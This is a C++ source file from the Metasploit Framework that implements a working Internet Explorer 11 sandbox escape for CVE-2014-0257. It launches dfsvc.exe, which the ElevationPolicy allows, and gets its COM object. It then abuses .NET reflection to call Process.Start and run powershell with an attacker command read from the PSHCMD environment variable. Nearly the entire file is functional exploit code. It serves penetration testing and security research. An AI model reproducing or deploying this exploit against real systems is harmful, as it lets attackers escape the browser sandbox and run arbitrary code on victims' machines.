rapid7/metasploit-framework

View on GitHub
external/source/exploits/IE11SandboxEscapes/CVE-2014-0257/CVE-2014-0257.cpp

Summary

Maintainability
Test Coverage
// This file is part of IE11SandboxEsacapes.

// IE11SandboxEscapes is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.

// IE11SandboxEscapes is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.

// You should have received a copy of the GNU General Public License
// along with IE11SandboxEscapes.  If not, see <http://www.gnu.org/licenses/>.

#include "stdafx.h"

#define MAX_ENV 32767

#import <mscorlib.tlb> rename("ReportEvent", "_ReportEvent")

const wchar_t CLSID_DFSVC[] = L"{20FD4E26-8E0F-4F73-A0E0-F27B8C57BE6F}";

long GetSafeArrayLen(LPSAFEARRAY psa)
{
    long ubound = 0;

    SafeArrayGetUBound(psa, 1, &ubound);

    return ubound + 1;
}

mscorlib::_MethodInfoPtr GetStaticMethod(mscorlib::_TypePtr type, LPCWSTR findName, int pcount)
{
    LPSAFEARRAY methods = type->GetMethods_2();
    mscorlib::_MethodInfoPtr ret;
    LONG methodCount = GetSafeArrayLen(methods);

    for (long i = 0; i < methodCount; ++i)
    {
        IUnknown* v = nullptr;

        if (SUCCEEDED(SafeArrayGetElement(methods, &i, &v)))
        {
            mscorlib::_MethodInfoPtr method = v;

            bstr_t name = method->Getname();
            LPSAFEARRAY params = method->GetParameters();
            long paramCount = GetSafeArrayLen(params);

            if (method->IsStatic && wcscmp(name.GetBSTR(), findName) == 0 && paramCount == pcount)
            {
                ret = method;
                break;
            }
        }
    }

    SafeArrayDestroy(methods);

    return ret;
}

template<typename T> T ExecuteMethod(mscorlib::_MethodInfoPtr method, std::vector<variant_t>& args)
{
    variant_t obj;
    T retObj;

    SAFEARRAY * psa;
    SAFEARRAYBOUND rgsabound[1];

    rgsabound[0].lLbound = 0;
    rgsabound[0].cElements = (ULONG)args.size();
    psa = SafeArrayCreate(VT_VARIANT, 1, rgsabound);

    for (LONG indicies = 0; indicies < (LONG)args.size(); ++indicies)
    {
        SafeArrayPutElement(psa, &indicies, &args[indicies]);
    }

    variant_t ret = method->Invoke_3(obj, psa);

    if ((ret.vt == VT_UNKNOWN) || (ret.vt == VT_DISPATCH))
    {
        retObj = ret.punkVal;
    }

    SafeArrayDestroy(psa);

    return retObj;
}

bstr_t GetEnv(LPWSTR env)
{
    WCHAR buf[MAX_ENV];

    GetEnvironmentVariable(env, buf, MAX_ENV);

    return buf;
}

void DoDfsvcExploit()
{
    CLSID clsid;

    CLSIDFromString(CLSID_DFSVC, &clsid);

    DebugPrintf("Starting DFSVC Exploit\n");

    mscorlib::_ObjectPtr obj;

    HRESULT hr = CoCreateInstance(clsid, nullptr, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&obj));

    if (FAILED(hr))
    {
        WCHAR cmdline[] = L"dfsvc.exe";

        STARTUPINFO startInfo = { 0 };
        PROCESS_INFORMATION procInfo = { 0 };

        // Start dfsvc (because we can due to the ElevationPolicy)
        if (CreateProcess(GetEnv(L"windir") + L"\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe", cmdline,
            nullptr, nullptr, FALSE, 0, nullptr, nullptr, &startInfo, &procInfo))
        {
            CloseHandle(procInfo.hProcess);
            CloseHandle(procInfo.hThread);

            // Just sleep to ensure it comes up
            Sleep(4000);
            hr = CoCreateInstance(clsid, nullptr, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&obj));
        }
        else
        {
            DebugPrintf("Couldn't create service %d\n", GetLastError());
        }
    }

    if (SUCCEEDED(hr))
    {
        try
        {
            mscorlib::_TypePtr type = obj->GetType();

            // Get type of Type (note defaults to RuntimeType then TypeInfo)
            type = type->GetType()->BaseType->BaseType;

            DebugPrintf("TypeName: %ls", type->FullName.GetBSTR());

            mscorlib::_MethodInfoPtr getTypeMethod = GetStaticMethod(type, L"GetType", 1);

            DebugPrintf("getTypeMethod: %p", (void*)getTypeMethod);

            std::vector<variant_t> getTypeArgs;

            getTypeArgs.push_back(L"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089");

            // Get process type
            type = ExecuteMethod<mscorlib::_TypePtr>(getTypeMethod, getTypeArgs);

            if (type)
            {
                mscorlib::_MethodInfoPtr startMethod = GetStaticMethod(type, L"Start", 2);

                if (startMethod)
                {
                    std::vector<variant_t> startArgs;

                    startArgs.push_back(L"powershell");
                    startArgs.push_back(GetEnv(L"PSHCMD"));

                    ExecuteMethod<mscorlib::_ObjectPtr>(startMethod, startArgs);
                }
                else
                {
                    DebugPrintf("Couldn't find Start method");
                }
            }
            else
            {
                DebugPrintf("Couldn't find Process Type");
            }
        }
        catch (_com_error e)
        {
            DebugPrintf("COM Error: %ls\n", e.ErrorMessage());
        }
    }
    else
    {
        DebugPrintf("Error get dfsvc IUnknown: %08X\n", hr);
    }
}

DWORD CALLBACK ExploitThread(LPVOID hModule)
{
    CoInitialize(nullptr);
    DoDfsvcExploit();
    CoUninitialize();

    FreeLibraryAndExitThread((HMODULE)hModule, 0);
}